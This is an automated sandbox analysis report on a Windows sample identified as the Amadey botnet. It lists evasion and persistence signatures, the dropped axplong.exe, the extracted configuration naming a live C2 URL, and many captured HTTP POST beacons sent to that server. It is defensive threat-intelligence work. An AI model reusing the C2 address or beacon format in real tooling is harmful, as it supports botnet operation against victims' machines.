Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:file.exe
Analysis ID:1519770
MD5:d47f5061136cbb1fc4d56bc8e0355c12
SHA1:3829e4804c1e0dcd77dc82cad9490bfaa3258887
SHA256:b3cae12b1399883b64871dfb422899f804fb2ae2fcfe073fe783165295b4886d
Tags:exeuser-Bitsight
Infos:

Detection

Amadey
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Amadeys stealer DLL
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Hides threads from debuggers
Machine Learning detection for dropped file
Machine Learning detection for sample
PE file contains section with special chars
Potentially malicious time measurement code found
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Abnormal high CPU Usage
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Drops PE files
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • file.exe (PID: 6636 cmdline: "C:\Users\user\Desktop\file.exe" MD5: D47F5061136CBB1FC4D56BC8E0355C12)
    • axplong.exe (PID: 1220 cmdline: "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" MD5: D47F5061136CBB1FC4D56BC8E0355C12)
  • axplong.exe (PID: 3260 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: D47F5061136CBB1FC4D56BC8E0355C12)
  • axplong.exe (PID: 5164 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: D47F5061136CBB1FC4D56BC8E0355C12)
  • axplong.exe (PID: 7024 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: D47F5061136CBB1FC4D56BC8E0355C12)
  • axplong.exe (PID: 5664 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: D47F5061136CBB1FC4D56BC8E0355C12)
  • axplong.exe (PID: 6456 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: D47F5061136CBB1FC4D56BC8E0355C12)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
AmadeyAmadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: Amadey

{"C2 url": "185.215.113.16/Jo89Ku7d/index.php", "Version": "4.41", "Install Folder": "44111dbc49", "Install File": "axplong.exe"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000001.00000003.1806644631.0000000005260000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_Amadey_2Yara detected Amadey\'s stealer DLLJoe Security
    00000002.00000002.1849863375.0000000000CE1000.00000040.00000001.01000000.00000007.sdmpJoeSecurity_Amadey_2Yara detected Amadey\'s stealer DLLJoe Security
      00000000.00000003.1753740859.0000000004DE0000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_Amadey_2Yara detected Amadey\'s stealer DLLJoe Security
        00000006.00000002.2368636814.0000000000CE1000.00000040.00000001.01000000.00000007.sdmpJoeSecurity_Amadey_2Yara detected Amadey\'s stealer DLLJoe Security
          00000001.00000002.4187544382.0000000000CE1000.00000040.00000001.01000000.00000007.sdmpJoeSecurity_Amadey_2Yara detected Amadey\'s stealer DLLJoe Security
            Click to see the 9 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            10.2.axplong.exe.ce0000.0.unpackJoeSecurity_Amadey_2Yara detected Amadey\'s stealer DLLJoe Security
              9.2.axplong.exe.ce0000.0.unpackJoeSecurity_Amadey_2Yara detected Amadey\'s stealer DLLJoe Security
                0.2.file.exe.280000.0.unpackJoeSecurity_Amadey_2Yara detected Amadey\'s stealer DLLJoe Security
                  2.2.axplong.exe.ce0000.0.unpackJoeSecurity_Amadey_2Yara detected Amadey\'s stealer DLLJoe Security
                    8.2.axplong.exe.ce0000.0.unpackJoeSecurity_Amadey_2Yara detected Amadey\'s stealer DLLJoe Security
                      Click to see the 2 entries

                      Sigma Signatures

                      ⊘No Sigma rule has matched

                      Suricata Signatures

                      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                      2024-09-27T00:20:21.856173+020028561471A Network Trojan was detected192.168.2.449740185.215.113.1680TCP

                      Joe Sandbox Signatures

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection

                      barindex
                      Antivirus / Scanner detection for submitted sample
                      Source: file.exeAvira: detected
                      Antivirus detection for URL or domain
                      Source: http://185.215.113.16/Jo89Ku7d/index.php(Avira URL Cloud: Label: phishing
                      Source: http://185.215.113.16/Jo89Ku7d/index.phpgAvira URL Cloud: Label: phishing
                      Source: http://185.215.113.16/Jo89Ku7d/index.phpiAvira URL Cloud: Label: phishing
                      Source: http://185.215.113.16/Jo89Ku7d/index.phpUAvira URL Cloud: Label: phishing
                      Source: http://185.215.113.16/Jo89Ku7d/index.php&Avira URL Cloud: Label: phishing
                      Source: http://185.215.113.16/Jo89Ku7d/index.phpdAvira URL Cloud: Label: phishing
                      Source: http://185.215.113.16/Jo89Ku7d/index.phpHost185.215.113.16Avira URL Cloud: Label: phishing
                      Source: http://185.215.113.16/Jo89Ku7d/index.phpcAvira URL Cloud: Label: phishing
                      Source: http://185.215.113.16/Jo89Ku7d/index.phpTAvira URL Cloud: Label: phishing
                      Source: http://185.215.113.16/Jo89Ku7d/index.phpSAvira URL Cloud: Label: phishing
                      Source: http://185.215.113.16/Jo89Ku7d/index.phpAvira URL Cloud: Label: malware
                      Source: http://185.215.113.16/Jo89Ku7d/index.phpJAvira URL Cloud: Label: phishing
                      Source: http://185.215.113.16/Jo89Ku7d/index.phpBAvira URL Cloud: Label: phishing
                      Source: http://185.215.113.16/Avira URL Cloud: Label: phishing
                      Source: http://185.215.113.16/Jo89Ku7d/index.phpEAvira URL Cloud: Label: phishing
                      Source: http://185.215.113.16/Jo89Ku7d/index.phpncoded9Avira URL Cloud: Label: phishing
                      Source: http://185.215.113.16/Jo89Ku7d/index.phpzAvira URL Cloud: Label: phishing
                      Source: http://185.215.113.16/Jo89Ku7d/index.php9Avira URL Cloud: Label: phishing
                      Source: http://185.215.113.16/Jo89Ku7d/index.phpfer-Encoding:Avira URL Cloud: Label: phishing
                      Source: http://185.215.113.16/Jo89Ku7d/index.phpxAvira URL Cloud: Label: phishing
                      Source: http://185.215.113.16/Jo89Ku7d/index.phpvAvira URL Cloud: Label: phishing
                      Source: http://185.215.113.16/Jo89Ku7d/index.phphpAvira URL Cloud: Label: phishing
                      Source: http://185.215.113.16/Jo89Ku7d/index.php0Avira URL Cloud: Label: phishing
                      Antivirus detection for dropped file
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeAvira: detection malicious, Label: TR/Crypt.TPM.Gen
                      Found malware configuration
                      Source: 00000001.00000003.1806644631.0000000005260000.00000004.00001000.00020000.00000000.sdmpMalware Configuration Extractor: Amadey {"C2 url": "185.215.113.16/Jo89Ku7d/index.php", "Version": "4.41", "Install Folder": "44111dbc49", "Install File": "axplong.exe"}
                      Multi AV Scanner detection for dropped file
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeReversingLabs: Detection: 52%
                      Multi AV Scanner detection for submitted file
                      Source: file.exeReversingLabs: Detection: 52%
                      AI detected suspicious sample
                      Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                      Machine Learning detection for dropped file
                      Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exeJoe Sandbox ML: detected
                      Machine Learning detection for sample
                      Source: file.exeJoe Sandbox ML: detected
                      Source: file.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

                      Networking

                      barindex
                      Suricata IDS alerts for network traffic
                      Source: Network trafficSuricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49740 -> 185.215.113.16:80
                      C2 URLs / IPs found in malware configuration
                      Source: Malware configuration extractorIPs: 185.215.113.16
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                      Source: global trafficHTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
